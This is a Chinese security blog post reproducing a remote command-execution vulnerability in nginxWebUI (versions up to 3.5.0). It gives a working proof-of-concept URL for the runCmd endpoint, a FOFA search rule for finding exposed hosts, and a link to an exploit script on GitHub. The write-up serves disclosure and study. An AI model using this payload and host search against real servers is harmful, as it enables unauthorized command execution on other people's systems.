Py学习  »  NGINX

nginxWebUI runCmd命令执行漏洞简单复现

合天网安实验室 • 9 月前 • 100 次点击  
✎ 阅读须知


本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!


1.漏洞描述

nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.

参考自官方网站:https://www.nginxwebui.cn/

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。

该漏洞利用条件简单,漏洞危害较高。

影响版本:nginxWebUI <= 3.5.0

2.漏洞复现

poc

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

fofa规则:app="nginxWebUI"

image.png

在这里以dnslog平台来进行测试:

http://www.dnslog.cn/

image.png

直接输入刚刚的poc测试:

image.png
image.png

此时证明漏洞存在,测试下能否执行命令回显:

在这里使用id命令:

url地址 + /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx
image.png

4.exp

相关脚本已上传至github

https://github.com/crow821/crowsec

你也可以在乌鸦安全公众号后台回复关键字:nginx 下载

单个脚本可以一直执行命令:

image.png

在这里注意我前面有一个运行失败的标志:

image.png

在这里主要是考虑如果遇到英文环境,在这里可能会变化掉,所以我对此做了保留:

image.png

主要是为了适配一些非UTF-8的环境,如果你有强迫症的话,你可以将这句话修改下:

res = re.findall('
运行失败
(.*?)
nginx
"}'
, result)
image.png

感觉影响其实不大。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型: 黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

靶场实操,戳“阅读原文”

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/159803
 
100 次点击